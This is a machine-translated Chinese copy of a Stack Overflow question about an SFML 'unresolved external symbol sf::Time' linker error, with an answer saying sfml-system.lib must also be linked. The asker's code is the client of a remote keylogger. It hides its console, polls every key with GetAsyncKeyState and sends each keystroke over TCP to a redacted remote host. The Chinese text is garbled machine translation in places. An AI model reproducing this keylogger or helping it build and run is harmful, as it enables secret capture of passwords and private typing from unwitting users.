未解决的外部符号sf ::带有SFML的时间

Unresolved external symbol sf::Time with SFML

本文关键字:带有 时间 SFML sf 外部 符号 未解决      更新时间:2023-10-16

因此,我正在为 ducuitational 目的处理远程键盘记录器。由于某种原因,当我尝试编译客户端时,我会收到此错误(我正在使用SFML(:

Error   LNK2001 unresolved external symbol "__declspec(dllimport) public: 
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)

奇怪的是,服务器编译了罚款,并且使用了同一库。我已经无数次检查我的链接器设置,甚至尝试创建一个新项目,但没有成功。

这是代码:

#include <fstream>
#include <Windows.h>
#include <SFMLNetwork.hpp>
#include <iostream>
void ConnectToHost(sf::TcpSocket* socket)
{
    sf::Socket::Status status = socket->connect("*****", ***);
    if (status != sf::Socket::Done)
        std::cout << "Error connecting to socket." << std::endl;
    return;
}
int main()
{
    FreeConsole();
    sf::TcpSocket socket;
    ConnectToHost(&socket);
    while (1)
    {
        for (char key = 8; key <= 190; key++)
        {
            if (GetAsyncKeyState(key) == -32767)
            {
                char key_sent[50] = { key };
                socket.send(key_sent, sizeof(key_sent));
            }
        }
    }
    return 0;
}

我目前正在将sfml-network-d.lib链接到debug和sfml-network.lib要发布,但是我也尝试链接所有SFML Dynamic链接库,因此无法拥有任何东西处理它。无论如何,我以为这只是我过度思考或忽略的一个粗心的错误,但是由于我已经研究了几天,所以我认为我将其作为一个问题。

<</p>

您的错误说您的代码没有错,这是链接的问题。您正在链接到sfml-network.lib,但是您需要链接到sfml-system.lib,以获取sf ::时间。

sfml-network.lib仅给您:ftp,http,ipaddress,packet,socket,socketselector,tcplistener,tcpsocket,udpsocket。

如下所述,

sfml-network对SFML系统具有依赖性。每当使用SFML网络时,您都需要明确链接到SFML系统。

另一个快速注意的是,您提到了链接到动态链接库。您不应该链接到任何DLL,您链接的.libs实际上让您导入这些DLL。如果您想执行相反的操作(静态链接(,则需要链接到 *-s.lib变体。